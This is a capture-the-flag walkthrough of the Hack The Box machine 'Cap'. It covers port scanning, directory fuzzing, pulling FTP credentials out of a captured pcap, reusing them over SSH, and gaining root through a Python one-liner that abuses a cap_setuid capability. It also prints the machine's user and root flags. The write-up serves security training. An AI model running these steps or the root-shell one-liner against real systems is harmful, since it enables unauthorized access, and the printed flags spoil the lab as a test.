

# Cap by k0rriban

## htbexplorer report

Name	IP Address	Operating System	Points	Rating	User Owns	Root Owns	Retired	Release Date	Retired Date	Free Lab	ID
Cap	10.10.10.245	Linux	20	4.3	23633	22528	Yes	2021-06-05	2021-10-02	No	351

## Summary

1. Scan ports -> 21,22,80
2. Enumerate port 80 -> /capture redirects to /data/2
3. Download from /data/0 and read .pcap file -> nathan:Buck3tH4TF0RM3!
4. Use credentials on nathan@10.10.10.245 -> User shell as nathan (user flag)
5. Enumerate capabilities of files -> /usr/bin/python3 with set\_uid capability
6. Exploit set\_uid capability -> Root shell (root flag)

## Enumeration

### OS

TTL	OS
+ - 64	Linux
+ - 128	Windows

As we can see in the code snippet below, the operating system is Linux.

```
> ping -c 1 10.10.10.245
PING 10.10.10.245 (10.10.10.245) 56(84) bytes of data.
64 bytes from 10.10.10.245: icmp_seq=1 ttl=63 time=38.7 ms
```

### Nmap port scan

First, we will scan the host for open ports.

```
> sudo nmap -p- -sS --min-rate 5000 10.10.10.245 -v -Pn -n -oG Enum/allPorts
```

With the utility `extractPorts` we list and copy the open ports:

```
> extractPorts Enum/allPorts
[*] Extracting information...
    [*] IP Address: 10.10.10.245
    [*] Open ports: 21,22,80

[*] Ports have been copied to clipboard...
```

Run a detailed scan on the open ports:

```

> nmap -p22,80,6379,10000 -sVC -n 10.10.10.160 -oN Enum/targeted
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.3
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp    open  http      gunicorn
|_ http-title: Security Dashboard
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 404 NOT FOUND
|     Server: gunicorn
|     Date: Wed, 15 Jun 2022 20:09:53 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 232
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please
check your spelling and try again.</p>
|   GetRequest:
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Wed, 15 Jun 2022 20:09:48 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 19386
|     <!DOCTYPE html>
|     <html class="no-js" lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Security Dashboard</title>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">
|     <link rel="stylesheet" href="/static/css/bootstrap.min.css">
|     <link rel="stylesheet" href="/static/css/font-awesome.min.css">
|     <link rel="stylesheet" href="/static/css/themify-icons.css">
|     <link rel="stylesheet" href="/static/css/metisMenu.css">
|     <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
|     <link rel="stylesheet" href="/static/css/slicknav.min.css">
|     <!-- amchar
| HTTPOptions:
|   HTTP/1.0 200 OK
|   Server: gunicorn
|   Date: Wed, 15 Jun 2022 20:09:48 GMT
|   Connection: close
|   Content-Type: text/html; charset=utf-8
|   Allow: OPTIONS, HEAD, GET
|   Content-Length: 0
| RTSPRequest:
|   HTTP/1.1 400 Bad Request
|   Connection: close
|   Content-Type: text/html
|   Content-Length: 196
|   <html>
|   <head>
|   <title>Bad Request</title>
|   </head>
|   <body>
|   <h1><p>Bad Request</p></h1>
|   Invalid HTTP Version &#x27;Invalid HTTP Version: &#x27;RTSP/1.0&#x27;&#x27;

```

```
| </body>
|_ </html>
```

### Final nmap report

Port	Service	Version	Extra
21	ftp	3.0.3	No anonymous login
22	ssh	8.2p1	-
80	http	gunicorn	-

### Port 80 enumeration

### Technology scan

```
> whatweb 10.10.10.245
http://10.10.10.245 [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[gunicorn],
IP[10.10.10.245], JQuery[2.2.4], Modernizr[2.8.3.min], Script, Title[Security Dashboard], X-UA-
Compatible[ie=edge]
```

Toguether with **wappalyzer**:

Technology	Version	Detail
JQuery	2.2.4	-
Modernizr	2.8.3.min	-
HTTPServer	gunicorn	-

### Web content discovery

Let's enumerate all the folders and pages without extension on the machine:

```
> wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -L -t 200
--hc 404 --hh 19385 "http://10.10.10.245/FUZZ"
*****
* Wfuzz 3.1.0 - The Web Fuzzer *
*****
```

```
Target: http://10.10.10.245/FUZZ
Total requests: 220560
```

```
=====
ID           Response  Lines  Word      Chars      Payload
=====
000000941:   200        354 L   1055 W    17452 Ch   "ip"
000004942:   200        651 L   4136 W    55327 Ch   "netstat"
000008555:   200        370 L    993 W    17152 Ch   "capture"
```

As we don't know the domain name, we cannot perform subdomain fuzzing.

#### #### Manual enumeration

When accessing to `/capture`, we can see the following page:



From here, we can download a `.pcap` file and read it with `tshark`:

```
```shell
```

```
> mv ~/Downloads/2.pcap Results
```

```
> tshark -r Results/2.pcap | grep pass
2448  2.387513  10.10.14.17 → 10.10.10.245 HTTP 208 GET /forgot-password HTTP/1.1
```

But this file contains 7200 packets and none has useful information. Anyway, if we fuzz the folder `/data/`:

```
> wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -L -t 200 --hc 404 --hh 19385
"http://10.10.10.245/data/FUZZ"
*****
* Wfuzz 3.1.0 - The Web Fuzzer *
*****

Target: http://10.10.10.245/data/FUZZ
Total requests: 4712

=====
ID           Response  Lines  Word      Chars      Payload
=====
000000096:   200        370 L   993 W      17146 Ch   "0"
000000098:   200        370 L   993 W      17152 Ch   "01"
000000097:   200        370 L   993 W      17146 Ch   "00"
000000132:   200        370 L   993 W      17152 Ch   "2"
000000099:   200        370 L   993 W      17152 Ch   "02"
```

We see we can access to `/data/1` and `/data/0`, let's download their `pcap` files:

```
> mv ~/Downloads/1.pcap Results
> tshark -r Results/1.pcap | grep pass
2448  2.387513  10.10.14.17 → 10.10.10.245 HTTP 208 GET /forgotpasswd HTTP/1.1
> mv ~/Downloads/0.pcap Results
> tshark -r Results/0.pcap | grep FTP
 34  2.626895  192.168.196.16 → 192.168.196.1 FTP 76 Response: 220 (vsFTPD 3.0.3)
 36  4.126500  192.168.196.1 → 192.168.196.1 FTP 69 Request: USER nathan
 38  4.126630  192.168.196.16 → 192.168.196.1 FTP 90 Response: 331 Please specify the
password.
 40  5.424998  192.168.196.1 → 192.168.196.1 FTP 78 Request: PASS Buck3tH4TF0RM3!
 42  5.432387  192.168.196.16 → 192.168.196.1 FTP 79 Response: 230 Login successful.
```

As we can see, when looking at the `FTP traffic` we can read the credentials `nathan:Buck3tH4TF0RM3!`.

## Port 21 enumeration

Now that we have valid `ftp credentials`, we can login into the ftp server and see its content:

```
> ftp 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPD 3.0.3)
Name (10.10.10.245:r3van): nathan
331 Please specify the password.
Password: # Buck3tH4TF0RM3!
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-r-----  1 1001    1001          33 Jun 15 19:45 user.txt
226 Directory send OK.
```

We obtained the `user.txt` file but not a shell.

## User shell

Trying password reuse, we can try to login through ssh as `nathan`:

```
> ssh nathan@10.10.10.245
nathan@10.10.10.245\'s password: # Buck3tH4TF0RM3!
nathan@cap:~$ hostname -I
10.10.10.245 dead:beef::250:56ff:feb9:7787
```

We obtained a user shell as `nathan`.

## Privilege escalation

First, let's see if there are other users we need to pivot to:

As they aren't, we can try enumerating `nathan`'s root permits:

```
nathan@cap:~$ sudo -l
[sudo] password for nathan:
Sorry, user nathan may not run sudo on cap.
nathan@cap:~$ cat /etc/sudoers
cat: /etc/sudoers: Permission denied
```

But `nathan` is not in the `sudoers` group. So we could try to enumerate `suid` permissions and `setuid` capabilities:

```
# SUID files
nathan@cap:~$ find / -perm -4000 2>/dev/null
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/passwd
# Nothing exploitable
/snap/core18/2074/bin/ping
/snap/core18/2074/bin/su
/snap/core18/2074/bin/umount
/snap/core18/2074/usr/bin/chfn
/snap/core18/2074/usr/bin/chsh
/snap/core18/2074/usr/bin/gpasswd
/snap/core18/2074/usr/bin/newgrp
/snap/core18/2074/usr/bin/passwd
/snap/core18/2074/usr/bin/sudo
/snap/core18/2074/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2074/usr/lib/openssh/ssh-keysign
```

Capabilities enumeration:

```
nathan@cap:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
```

```
/usr/bin/mtr-packet = cap_net_raw+ep  
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gst-ptp-helper =  
cap_net_bind_service,cap_net_admin+ep
```

As we can see `/usr/bin/python3.8` has `setuid` capability, and we can use it to obtain a root shell as:

```
nathan@cap:~$ python3 -c 'import os; import pty; os.setuid(0); pty.spawn("/bin/bash  
")'  
root@cap:~# hostname -I  
10.10.10.245 dead:beef::250:56ff:feb9:7787
```

We obtained root shell on Cap.

## CVE

No CVEs were consulted for this machine.

## Machine flags

Type	Flag	Blood	Date
User	005fa3afb3c8b5a5e84c9fc40b8372bd	No	15-06-2022
Root	aa91d5d3c9d3de941ad767923abe60b4	No	15-06-2022

## References

- <https://gtfobins.github.io/gtfobins/python/#capabilities>